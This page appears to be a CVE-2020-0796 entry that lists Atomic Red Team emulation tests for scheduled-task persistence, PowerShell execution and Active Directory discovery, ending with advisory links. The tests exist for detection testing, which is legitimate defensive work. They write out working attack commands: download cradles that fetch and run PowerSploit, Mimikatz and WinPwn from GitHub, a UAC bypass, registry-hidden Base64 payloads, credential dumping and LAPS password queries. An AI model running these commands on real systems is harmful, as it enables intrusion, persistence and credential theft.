T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD)
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD)
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 Turla KopiLuwak Scheduled Task for JavaScript Stager Windows CMD
Emulates the KopiLuwak dropper's scheduled task creation stage. Creates a logon-triggered scheduled task named ProactiveScan with description "NTFS Volume Health Scan" that runs Chkdsk.js from the current user's AppData\Roaming\Microsoft directory with an RC4 decryption key...
Command (CMD)
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
T1053.005 Turla Topinambour Dropper and Scheduled Task Persistence Windows PowerShell
Emulates the dropper behavior of Turla's Topinambour. Uses inline C# compiled via Add-Type to replicate the dropper's unpack_p() and make_some_noise() functions. unpack_p() drops a benign stand-in executable to %LOCALAPPDATA%\VirtualStore\certcheck.exe, and make_some_noise()...
Command (PowerShell)
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;

public class TopinambourDropper {
    public static void unpack_p(string sourceExe) {
        string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
        Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
        File.Copy(sourceExe, dropPath, true);
    }

    public static void make_some_noise() {
        ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR \"%localappdata%\\VirtualStore\\certcheck.exe\" /TN VerifiedPublisherCertCheck /F")
        {
            CreateNoWindow = true,
            UseShellExecute = false
        };
        Process.Start(startInfo).WaitForExit();
    }
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows PowerShell Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (PowerShell)
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (9)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-0796
portal.msrc.microsoft.com
GitHub CVE x_refsource_MISC
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/156731/CoronaBlue-SMBGhost-Microsoft-Windows-10-SMB-3.1.1-Proof-Of-Concept.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/156732/Microsoft-Windows-SMB-3.1.1-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/156980/Microsoft-Windows-10-SMB-3.1.1-Local-Privilege-Escalation.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/157110/SMBv3-Compression-Buffer-Overflow.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/157901/Microsoft-Windows-SMBGhost-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/158054/SMBleed-SMBGhost-Pre-Authentication-Remote-Code-Execution-Proof-Of-Concept.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-0796